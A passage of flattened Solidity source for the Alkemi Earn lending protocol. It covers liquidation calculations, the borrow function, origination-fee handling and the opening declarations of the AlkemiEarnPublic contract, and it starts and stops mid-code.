closeBorrowAmount_TargetUnderwaterAsset of assetBorrow into protocol // Fail gracefully if asset is not approved or has insufficient balance if (assetBorrow != wethAddress) { // WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically err = checkTransferIn( assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE); } } // We are going to repay the target user's borrow using the calling user's funds // We update the protocol's totalBorrow for assetBorrow, by subtracting the target user's prior checkpointed balance, // adding borrowCurrent, and subtracting closeBorrowAmount_TargetUnderwaterAsset. // Subtract the `closeBorrowAmount_TargetUnderwaterAsset` from the `currentBorrowBalance_TargetUnderwaterAsset` to get `updatedBorrowBalance_TargetUnderwaterAsset` (err, localResults.updatedBorrowBalance_TargetUnderwaterAsset) = sub( localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset ); // We have ensured above that localResults.closeBorrowAmount_TargetUnderwaterAsset <= localResults.currentBorrowBalance_TargetUnderwaterAsset, so the sub can't underflow revertIfError(err); // We calculate the protocol's totalBorrow for assetBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow // Note that, even though the liquidator is paying some of the borrow, if the borrow has accumulated a lot of interest since the last // action, the updated balance *could* be higher than the prior checkpointed balance. ( err, localResults.newTotalBorrows_ProtocolUnderwaterAsset ) = addThenSub( borrowMarket.totalBorrows, localResults.updatedBorrowBalance_TargetUnderwaterAsset, borrowBalance_TargeUnderwaterAsset.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET ); } // We need to calculate what the updated cash will be after we transfer in from liquidator localResults.currentCash_ProtocolUnderwaterAsset = getCash(assetBorrow); (err, localResults.updatedCash_ProtocolUnderwaterAsset) = add( localResults.currentCash_ProtocolUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET ); } // The utilization rate has changed! We calculate a new supply index, borrow index, supply rate, and borrow rate for assetBorrow // (Please note that we don't need to do the same thing for assetCollateral because neither cash nor borrows of assetCollateral happen in this process.) // We calculate the newSupplyIndex_UnderwaterAsset, but we already have newBorrowIndex_UnderwaterAsset so don't recalculate it. ( err, localResults.newSupplyIndex_UnderwaterAsset ) = calculateInterestIndex( borrowMarket.supplyIndex, borrowMarket.supplyRateMantissa, borrowMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET ); } ( rateCalculationResultCode, localResults.newSupplyRateMantissa_ProtocolUnderwaterAsset ) = borrowMarket.interestRateModel.getSupplyRate( assetBorrow, localResults.updatedCash_ProtocolUnderwaterAsset, localResults.newTotalBorrows_ProtocolUnderwaterAsset ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo .LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET, rateCalculationResultCode ); } ( rateCalculationResultCode, localResults.newBorrowRateMantissa_ProtocolUnderwaterAsset ) = borrowMarket.interestRateModel.getBorrowRate( assetBorrow, localResults.updatedCash_ProtocolUnderwaterAsset, localResults.newTotalBorrows_ProtocolUnderwaterAsset ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo .LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET, rateCalculationResultCode ); } // Now we look at collateral. We calculated target user's accumulated supply balance and the supply index above. // Now we need to calculate the borrow index. // We don't need to calculate new rates for the collateral asset because we have not changed utilization: // - accumulating interest on the target user's collateral does not change cash or borrows // - transferring seized amount of collateral internally from the target user to the liquidator does not change cash or borrows. ( err, localResults.newBorrowIndex_CollateralAsset ) = calculateInterestIndex( collateralMarket.borrowIndex, collateralMarket.borrowRateMantissa, collateralMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET ); } // We checkpoint the target user's assetCollateral supply balance, supplyCurrent - seizeSupplyAmount_TargetCollateralAsset at the updated index (err, localResults.updatedSupplyBalance_TargetCollateralAsset) = sub( localResults.currentSupplyBalance_TargetCollateralAsset, localResults.seizeSupplyAmount_TargetCollateralAsset ); // The sub won't underflow because because seizeSupplyAmount_TargetCollateralAsset <= target user's collateral balance // maxCloseableBorrowAmount_TargetUnderwaterAsset is limited by the discounted borrow denominated collateral. That limits closeBorrowAmount_TargetUnderwaterAsset // which in turn limits seizeSupplyAmount_TargetCollateralAsset. revertIfError(err); // We checkpoint the liquidating user's assetCollateral supply balance, supplyCurrent + seizeSupplyAmount_TargetCollateralAsset at the updated index ( err, localResults.updatedSupplyBalance_LiquidatorCollateralAsset ) = add( localResults.currentSupplyBalance_LiquidatorCollateralAsset, localResults.seizeSupplyAmount_TargetCollateralAsset ); // We can't overflow here because if this would overflow, then we would have already overflowed above and failed // with LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET revertIfError(err); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save borrow market updates borrowMarket.blockNumber = block.number; borrowMarket.totalBorrows = localResults .newTotalBorrows_ProtocolUnderwaterAsset; // borrowMarket.totalSupply does not need to be updated borrowMarket.supplyRateMantissa = localResults .newSupplyRateMantissa_ProtocolUnderwaterAsset; borrowMarket.supplyIndex = localResults.newSupplyIndex_UnderwaterAsset; borrowMarket.borrowRateMantissa = localResults .newBorrowRateMantissa_ProtocolUnderwaterAsset; borrowMarket.borrowIndex = localResults.newBorrowIndex_UnderwaterAsset; // Save collateral market updates // We didn't calculate new rates for collateralMarket (because neither cash nor borrows changed), just new indexes and total supply. collateralMarket.blockNumber = block.number; collateralMarket.totalSupply = localResults .newTotalSupply_ProtocolCollateralAsset; collateralMarket.supplyIndex = localResults .newSupplyIndex_CollateralAsset; collateralMarket.borrowIndex = localResults .newBorrowIndex_CollateralAsset; // Save user updates localResults .startingBorrowBalance_TargetUnderwaterAsset = borrowBalance_TargeUnderwaterAsset .principal; // save for use in event borrowBalance_TargeUnderwaterAsset.principal = localResults .updatedBorrowBalance_TargetUnderwaterAsset; borrowBalance_TargeUnderwaterAsset.interestIndex = localResults .newBorrowIndex_UnderwaterAsset; localResults .startingSupplyBalance_TargetCollateralAsset = supplyBalance_TargetCollateralAsset .principal; // save for use in event supplyBalance_TargetCollateralAsset.principal = localResults .updatedSupplyBalance_TargetCollateralAsset; supplyBalance_TargetCollateralAsset.interestIndex = localResults .newSupplyIndex_CollateralAsset; localResults .startingSupplyBalance_LiquidatorCollateralAsset = supplyBalance_LiquidatorCollateralAsset .principal; // save for use in event supplyBalance_LiquidatorCollateralAsset.principal = localResults .updatedSupplyBalance_LiquidatorCollateralAsset; supplyBalance_LiquidatorCollateralAsset.interestIndex = localResults .newSupplyIndex_CollateralAsset; // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) if (assetBorrow != wethAddress) { // WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically revertEtherToUser(msg.sender, msg.value); err = doTransferIn( assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_FAILED); } } else { if (msg.value == requestedAmountClose) { uint256 supplyError = supplyEther( localResults.closeBorrowAmount_TargetUnderwaterAsset ); //Repay excess funds if (localResults.reimburseAmount > 0) { revertEtherToUser( localResults.liquidator, localResults.reimburseAmount ); } if (supplyError != 0) { revertEtherToUser(msg.sender, msg.value); return fail( Error.WETH_ADDRESS_NOT_SET_ERROR, FailureInfo.WETH_ADDRESS_NOT_SET_ERROR ); } } else { revertEtherToUser(msg.sender, msg.value); return fail( Error.ETHER_AMOUNT_MISMATCH_ERROR, FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR ); } } supplyOriginationFeeAsAdmin( assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset, localResults.newSupplyIndex_UnderwaterAsset ); emit BorrowLiquidated( localResults.targetAccount, localResults.assetBorrow, localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset, localResults.liquidator, localResults.assetCollateral, localResults.seizeSupplyAmount_TargetCollateralAsset ); return uint256(Error.NO_ERROR); // success } /** * @dev This should ONLY be called if market is supported. It returns shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)] * If the market isn't supported, we support liquidation of asset regardless of shortfall because we want borrows of the unsupported asset to be closed. * Note that if collateralRatio = liquidationDiscount + 1, then the denominator will be zero and the function will fail with DIVISION_BY_ZERO. * @return Return values are expressed in 1e18 scale */ function calculateDiscountedRepayToEvenAmount( address targetAccount, Exp memory underwaterAssetPrice, address assetBorrow ) internal view returns (Error, uint256) { Error err; Exp memory _accountLiquidity; // unused return value from calculateAccountLiquidity Exp memory accountShortfall_TargetUser; Exp memory collateralRatioMinusLiquidationDiscount; // collateralRatio - liquidationDiscount Exp memory discountedCollateralRatioMinusOne; // collateralRatioMinusLiquidationDiscount - 1, aka collateralRatio - liquidationDiscount - 1 Exp memory discountedPrice_UnderwaterAsset; Exp memory rawResult; // we calculate the target user's shortfall, denominated in Ether, that the user is below the collateral ratio ( err, _accountLiquidity, accountShortfall_TargetUser ) = calculateAccountLiquidity(targetAccount); if (err != Error.NO_ERROR) { return (err, 0); } (err, collateralRatioMinusLiquidationDiscount) = subExp( collateralRatio, liquidationDiscount ); if (err != Error.NO_ERROR) { return (err, 0); } (err, discountedCollateralRatioMinusOne) = subExp( collateralRatioMinusLiquidationDiscount, Exp({mantissa: mantissaOne}) ); if (err != Error.NO_ERROR) { return (err, 0); } (err, discountedPrice_UnderwaterAsset) = mulExp( underwaterAssetPrice, discountedCollateralRatioMinusOne ); // calculateAccountLiquidity multiplies underwaterAssetPrice by collateralRatio // discountedCollateralRatioMinusOne < collateralRatio // so if underwaterAssetPrice * collateralRatio did not overflow then // underwaterAssetPrice * discountedCollateralRatioMinusOne can't overflow either revertIfError(err); /* The liquidator may not repay more than what is allowed by the closeFactor */ uint256 borrowBalance = getBorrowBalance(targetAccount, assetBorrow); Exp memory maxClose; (err, maxClose) = mulScalar( Exp({mantissa: closeFactorMantissa}), borrowBalance ); if (err != Error.NO_ERROR) { return (err, 0); } (err, rawResult) = divExp(maxClose, discountedPrice_UnderwaterAsset); // It's theoretically possible an asset could have such a low price that it truncates to zero when discounted. if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(rawResult)); } /** * @dev discountedBorrowDenominatedCollateral = [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) * @return Return values are expressed in 1e18 scale */ function calculateDiscountedBorrowDenominatedCollateral( Exp memory underwaterAssetPrice, Exp memory collateralPrice, uint256 supplyCurrent_TargetCollateralAsset ) internal view returns (Error, uint256) { // To avoid rounding issues, we re-order and group the operations so we do 1 division and only at the end // [supplyCurrent * (Oracle price for the collateral)] / [ (1 + liquidationDiscount) * (Oracle price for the borrow) ] Error err; Exp memory onePlusLiquidationDiscount; // (1 + liquidationDiscount) Exp memory supplyCurrentTimesOracleCollateral; // supplyCurrent * Oracle price for the collateral Exp memory onePlusLiquidationDiscountTimesOracleBorrow; // (1 + liquidationDiscount) * Oracle price for the borrow Exp memory rawResult; (err, onePlusLiquidationDiscount) = addExp( Exp({mantissa: mantissaOne}), liquidationDiscount ); if (err != Error.NO_ERROR) { return (err, 0); } (err, supplyCurrentTimesOracleCollateral) = mulScalar( collateralPrice, supplyCurrent_TargetCollateralAsset ); if (err != Error.NO_ERROR) { return (err, 0); } (err, onePlusLiquidationDiscountTimesOracleBorrow) = mulExp( onePlusLiquidationDiscount, underwaterAssetPrice ); if (err != Error.NO_ERROR) { return (err, 0); } (err, rawResult) = divExp( supplyCurrentTimesOracleCollateral, onePlusLiquidationDiscountTimesOracleBorrow ); if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(rawResult)); } /** * @dev returns closeBorrowAmount_TargetUnderwaterAsset * (1+liquidationDiscount) * priceBorrow/priceCollateral * @return Return values are expressed in 1e18 scale */ function calculateAmountSeize( Exp memory underwaterAssetPrice, Exp memory collateralPrice, uint256 closeBorrowAmount_TargetUnderwaterAsset ) internal view returns (Error, uint256) { // To avoid rounding issues, we re-order and group the operations to move the division to the end, rather than just taking the ratio of the 2 prices: // underwaterAssetPrice * (1+liquidationDiscount) *closeBorrowAmount_TargetUnderwaterAsset) / collateralPrice // re-used for all intermediate errors Error err; // (1+liquidationDiscount) Exp memory liquidationMultiplier; // assetPrice-of-underwaterAsset * (1+liquidationDiscount) Exp memory priceUnderwaterAssetTimesLiquidationMultiplier; // priceUnderwaterAssetTimesLiquidationMultiplier * closeBorrowAmount_TargetUnderwaterAsset // or, expanded: // underwaterAssetPrice * (1+liquidationDiscount) * closeBorrowAmount_TargetUnderwaterAsset Exp memory finalNumerator; // finalNumerator / priceCollateral Exp memory rawResult; (err, liquidationMultiplier) = addExp( Exp({mantissa: mantissaOne}), liquidationDiscount ); // liquidation discount will be enforced < 1, so 1 + liquidationDiscount can't overflow. revertIfError(err); (err, priceUnderwaterAssetTimesLiquidationMultiplier) = mulExp( underwaterAssetPrice, liquidationMultiplier ); if (err != Error.NO_ERROR) { return (err, 0); } (err, finalNumerator) = mulScalar( priceUnderwaterAssetTimesLiquidationMultiplier, closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return (err, 0); } (err, rawResult) = divExp(finalNumerator, collateralPrice); if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(rawResult)); } /** * @notice Users borrow assets from the protocol to their own address * @param asset The market asset to borrow * @param amount The amount to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(address asset, uint256 amount) public nonReentrant onlyCustomerWithKYC returns (uint256) { if (paused) { return fail(Error.CONTRACT_PAUSED, FailureInfo.BORROW_CONTRACT_PAUSED); } refreshAlkIndex(asset, msg.sender, false, true); BorrowLocalVars memory localResults; Market storage market = markets[asset]; Balance storage borrowBalance = borrowBalances[msg.sender][asset]; Error err; uint256 rateCalculationResultCode; // Fail if market not supported if (!market.isSupported) { return fail( Error.MARKET_NOT_SUPPORTED, FailureInfo.BORROW_MARKET_NOT_SUPPORTED ); } // We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (err, localResults.userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } // Calculate origination fee. (err, localResults.borrowAmountWithFee) = calculateBorrowAmountWithFee( amount ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_ORIGINATION_FEE_CALCULATION_FAILED ); } uint256 orgFeeBalance = localResults.borrowAmountWithFee - amount; // Add the `borrowAmountWithFee` to the `userBorrowCurrent` to get `userBorrowUpdated` (err, localResults.userBorrowUpdated) = add( localResults.userBorrowCurrent, localResults.borrowAmountWithFee ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow with fee (err, localResults.newTotalBorrows) = addThenSub( market.totalBorrows, localResults.userBorrowUpdated, borrowBalance.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED ); } // Check customer liquidity ( err, localResults.accountLiquidity, localResults.accountShortfall ) = calculateAccountLiquidity(msg.sender); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED ); } // Fail if customer already has a shortfall if (!isZeroExp(localResults.accountShortfall)) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.BORROW_ACCOUNT_SHORTFALL_PRESENT ); } // Would the customer have a shortfall after this borrow (including origination fee)? // We calculate the eth-equivalent value of (borrow amount + fee) of asset and fail if it exceeds accountLiquidity. // This implements: `[(collateralRatio*oraclea*borrowAmount)*(1+borrowFee)] > accountLiquidity` ( err, localResults.ethValueOfBorrowAmountWithFee ) = getPriceForAssetAmount( asset, localResults.borrowAmountWithFee, true ); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.BORROW_AMOUNT_VALUE_CALCULATION_FAILED); } if ( lessThanExp( localResults.accountLiquidity, localResults.ethValueOfBorrowAmountWithFee ) ) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.BORROW_AMOUNT_LIQUIDITY_SHORTFALL ); } // Fail gracefully if protocol has insufficient cash localResults.currentCash = getCash(asset); // We need to calculate what the updated cash will be after we transfer out to the user (err, localResults.updatedCash) = sub(localResults.currentCash, amount); if (err != Error.NO_ERROR) { // Note: we ignore error here and call this token insufficient cash return fail( Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED ); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. // We calculate the newSupplyIndex, but we have newBorrowIndex already (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalBorrows = localResults.newTotalBorrows; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowTaken` event borrowBalance.principal = localResults.userBorrowUpdated; borrowBalance.interestIndex = localResults.newBorrowIndex; originationFeeBalance[msg.sender][asset] += orgFeeBalance; if (asset != wethAddress) { // Withdrawal should happen as Ether directly // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) err = doTransferOut(asset, msg.sender, amount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.BORROW_TRANSFER_OUT_FAILED); } } else { withdrawEther(msg.sender, amount); // send Ether to user } emit BorrowTaken( msg.sender, asset, amount, localResults.startingBalance, localResults.borrowAmountWithFee, borrowBalance.principal ); return uint256(Error.NO_ERROR); // success } /** * @notice supply `amount` of `asset` (which must be supported) to `admin` in the protocol * @dev add amount of supported asset to admin's account * @param asset The market asset to supply * @param amount The amount to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function supplyOriginationFeeAsAdmin( address asset, address user, uint256 amount, uint256 newSupplyIndex ) private { refreshAlkIndex(asset, admin, true, true); uint256 originationFeeRepaid = 0; if (originationFeeBalance[user][asset] != 0) { if (amount < originationFeeBalance[user][asset]) { originationFeeRepaid = amount; } else { originationFeeRepaid = originationFeeBalance[user][asset]; } Balance storage balance = supplyBalances[admin][asset]; SupplyLocalVars memory localResults; // Holds all our uint calculation results Error err; // Re-used for every function call that includes an Error in its return value(s). originationFeeBalance[user][asset] -= originationFeeRepaid; (err, localResults.userSupplyCurrent) = calculateBalance( balance.principal, balance.interestIndex, newSupplyIndex ); revertIfError(err); (err, localResults.userSupplyUpdated) = add( localResults.userSupplyCurrent, originationFeeRepaid ); revertIfError(err); // We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply (err, localResults.newTotalSupply) = addThenSub( markets[asset].totalSupply, localResults.userSupplyUpdated, balance.principal ); revertIfError(err); // Save market updates markets[asset].totalSupply = localResults.newTotalSupply; // Save user updates localResults.startingBalance = balance.principal; balance.principal = localResults.userSupplyUpdated; balance.interestIndex = newSupplyIndex; emit SupplyReceived( admin, asset, originationFeeRepaid, localResults.startingBalance, localResults.userSupplyUpdated ); } } /** * @notice Trigger the underlying Reward Control contract to accrue ALK supply rewards for the supplier on the specified market * @param market The address of the market to accrue rewards * @param user The address of the supplier/borrower to accrue rewards * @param isSupply Specifies if Supply or Borrow Index need to be updated * @param isVerified Verified / Public protocol */ function refreshAlkIndex( address market, address user, bool isSupply, bool isVerified ) internal { if (address(rewardControl) == address(0)) { return; } if (isSupply) { rewardControl.refreshAlkSupplyIndex(market, user, isVerified); } else { rewardControl.refreshAlkBorrowIndex(market, user, isVerified); } } /** * @notice Get supply and borrows for a market * @param asset The market asset to find balances of * @return updated supply and borrows */ function getMarketBalances(address asset) public view returns (uint256, uint256) { Error err; uint256 newSupplyIndex; uint256 marketSupplyCurrent; uint256 newBorrowIndex; uint256 marketBorrowCurrent; Market storage market = markets[asset]; // Calculate the newSupplyIndex, needed to calculate market's supplyCurrent (err, newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newSupplyIndex and stored principal to calculate the accumulated balance (err, marketSupplyCurrent) = calculateBalance( market.totalSupply, market.supplyIndex, newSupplyIndex ); revertIfError(err); // Calculate the newBorrowIndex, needed to calculate market's borrowCurrent (err, newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newBorrowIndex and stored principal to calculate the accumulated balance (err, marketBorrowCurrent) = calculateBalance( market.totalBorrows, market.borrowIndex, newBorrowIndex ); revertIfError(err); return (marketSupplyCurrent, marketBorrowCurrent); } /** * @dev Function to revert in case of an internal exception */ function revertIfError(Error err) internal pure { require( err == Error.NO_ERROR, "Function revert due to internal exception" ); } } // File: contracts/AlkemiEarnPublic.sol pragma solidity 0.4.24; contract AlkemiEarnPublic is Exponential, SafeToken { uint256 internal initialInterestIndex; uint256 internal defaultOriginationFee; uint256 internal defaultCollateralRatio; uint256 internal defaultLiquidationDiscount; // minimumCollateralRatioMantissa and maximumLiquidationDiscountMantissa cannot be declared as constants due to upgradeability // Values cannot be assigned directly as OpenZeppelin upgrades do not support the same // Values can only be assigned using initializer() below // However, there is no way to change the below values using any functions and hence they act as constants uint256 public minimumCollateralRatioMantissa; uint256 public maximumLiquidationDiscountMantissa; bool private initializationDone; // To make sure initializer is called only once /** * @notice `AlkemiEarnPublic` is the core contract * @notice This contract uses Openzeppelin Upgrades plugin to make use of the upgradeability functionality using proxies * @notice Hence this contract has an 'initializer' in place of a 'constructor' * @notice Make sure to add new global variables only at the bottom of all the existing global variables i.e., line #344 * @notice Also make sure to do extensive testing while modifying any structs and enums during an upgrade */ function initializer() public { if (initializationDone == false) { initializationDone = true; admin = msg.sender; initialInterestIndex = 10**18; defaultOriginationFee = (10**15); // default is 0.1% defaultCollateralRatio = 125 * (10**16); // default is 125% or 1.25 defaultLiquidationDiscount = (10**17); // default is 10% or 0.1 minimumCollateralRatioMantissa = 11 * (10**17); // 1.1 maximumLiquidationDiscountMantissa = (10**17); // 0.1 collateralRatio = Exp({mantissa: defaultCollateralRatio}); originationFee = Exp({mantissa: defaultOriginationFee}); liquidationDiscount = Exp({mantissa: defaultLiquidationDiscount}); _guardCounter = 1; // oracle must be configured via _adminFunctions } } /** * @notice Do not pay directly into AlkemiEarnPublic, please use `supply`. */ function() public payable { revert(); } /** * @dev pending Administrator for this contract. */ address public pendingAdmin; /** * @dev Administrator for this contract. Initially set in constructor, but can * be changed by the admin itself. */ address public admin; /** * @dev Managers for this contract with limited permissions. Can * be changed by the admin. * Though unused, the below variable cannot be deleted as it will hinder upgradeability * Will be cleared during the next compiler version upgrade */ mapping(address => bool) public managers; /** * @dev Account allowed to set oracle prices for this contract. Initially set * in constructor, but can be changed by the admin. */ address private oracle; /** * @dev Account allowed to fetch chainlink oracle prices for this contract. Can be changed by the admin. */ ChainLink public priceOracle; /** * @dev Container for customer balance information written to storage. * * struct Balance { * principal = customer total balance with accrued interest after applying the customer's most recent balance-changing action * interestIndex = Checkpoint for interest calculation after the customer's most recent balance-changing action * } */ struct Balance { uint256 principal; uint256 interestIndex; } /** * @dev 2-level map: customerAddress -> assetAddress -> balance for supplies */ mapping(address => mapping(address => Balance)) public supplyBalances; /** * @dev 2-level map: customerAddress -> assetAddress -> balance for borrows */ mapping(address => mapping(address => Balance)) public borrowBalances; /** * @dev Container for per-asset balance sheet and interest rate information written to storage, intended to be stored in a map where the asset address is the key * * struct Market { * isSupported = Whether this market is supported or not (not to be confused with the list of collateral assets) * blockNumber = when the other values in this struct were calculated * interestRateModel = Interest Rate model, which calculates supply interest rate and borrow interest rate based on Utilization, used for the asset * totalSupply = total amount of this asset supplied (in asset wei) * supplyRateMantissa = the per-block interest rate for supplies of asset as of blockNumber, scaled by 10e18 * supplyIndex = the interest index for supplies of asset as of blockNumber; initialized in _supportMarket * totalBorrows = total amount of this asset borrowed (in asset wei) * borrowRateMantissa = the per-block interest rate for borrows of asset as of blockNumber, scaled by 10e18 * borrowIndex = the interest index for borrows of asset as of blockNumber; initialized in _supportMarket * } */ struct Market { bool isSupported; uint256 blockNumber; InterestRateModel interestRateModel; uint256 totalSupply; uint256 supplyRateMantissa; uint256 supplyIndex; uint256 totalBorrows; uint256 borrowRateMantissa; uint256 borrowIndex; } /** * @dev wethAddress to hold the WETH token contract address * set using setWethAddress function */ address private wethAddress; /** * @dev Initiates the contract for supply and withdraw Ether and conversion to WETH */ AlkemiWETH public WETHContract; /** * @dev map: assetAddress -> Market */ mapping(address => Market) public markets; /** * @dev list: collateralMarkets */ address[] public collateralMarkets; /** * @dev The collateral ratio that borrows must maintain (e.g. 2 implies 2:1). This * is initially set in the constructor, but can be changed by the admin. */ Exp public collateralRatio; /** * @dev originationFee for new borrows. * */ Exp public originationFee; /** * @dev liquidationDiscount for collateral when liquidating borrows * */ Exp public liquidationDiscount; /** * @dev flag for whether or not contract is paused * */ bool public paused; /** * The `SupplyLocalVars` struct is used internally in the `supply` function. * * To avoid solidity limits on the number of local variables we: * 1. Use a struct to hold local computation localResults * 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults * requires either both to be declared inline or both to be previously declared. * 3. Re-use a boolean error-like return variable. */ struct SupplyLocalVars { uint256 startingBalance; uint256 newSupplyIndex; uint256 userSupplyCurrent; uint256 userSupplyUpdated; uint256 newTotalSupply; uint256 currentCash; uint256 updatedCash; uint256 newSupplyRateMantissa; uint256 newBorrowIndex; uint256 newBorrowRateMantissa; } /** * The `WithdrawLocalVars` struct is used internally in the `withdraw` function. * * To avoid solidity limits on the number of local variables we: * 1. Use a struct to hold local computation localResults * 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults * requires either both to be declared inline or both to be previously declared. * 3. Re-use a boolean error-like return variable. */ struct WithdrawLocalVars { uint256 withdrawAmount; uint256 startingBalance; uint256 newSupplyIndex; uint256 userSupplyCurrent; uint256 userSupplyUpdated; uint256 newTotalSupply; uint256 currentCash; uint256 updatedCash; uint256 newSupplyRateMantissa; uint256 newBorrowIndex; uint256 newBorrowRateMantissa; uint256 withdrawCapacity; Exp accountLiquidity; Exp accountShortfall; Exp ethValueOfWithdrawal; } // The `AccountValueLocalVars` struct is used internally in the `CalculateAccountValuesInternal` function. struct AccountValueLocalVars { address assetAddress; uint256 collateralMarketsLength; uint256 newSupplyIndex; uint256 userSupplyCurrent; uint256 newBorrowIndex; uint256 userBorrowCurrent; Exp supplyTotalValue; Exp sumSupplies; Exp borrowTotalValue; Exp sumBorrows; } // The `PayBorrowLocalVars` struct is used internally in the `repayBorrow` function. struct PayBorrowLocalVars { uint256 newBorrowIndex; uint256 userBorrowCurrent; uint256 repayAmount; uint256 userBorrowUpdated; uint256 newTotalBorrows; uint256 currentCash; uint256 updatedCash; uint256 newSupplyIndex; uint256 newSupplyRateMantissa; uint256 newBorrowRateMantissa; uint256 startingBalance; } // The `BorrowLocalVars` struct is used internally in the `borrow` function. struct BorrowLocalVars { uint256 newBorrowIndex; uint256 userBorrowCurrent; uint256 borrowAmountWithFee; uint256 userBorrowUpdated; uint256 newTotalBorrows; uint256 currentCash; uint256 updatedCash; uint256 newSupplyIndex; uint256 newSupplyRateMantissa; uint256 newBorrowRateMantissa; uint256 startingBalance; Exp accountLiquidity; Exp accountShortfall; Exp ethValueOfBorrowAmountWithFee; } // The `LiquidateLocalVars` struct is used internally in the `liquidateBorrow` function. struct LiquidateLocalVars { // we need these addresses in the struct for use with `emitLiquidationEvent` to 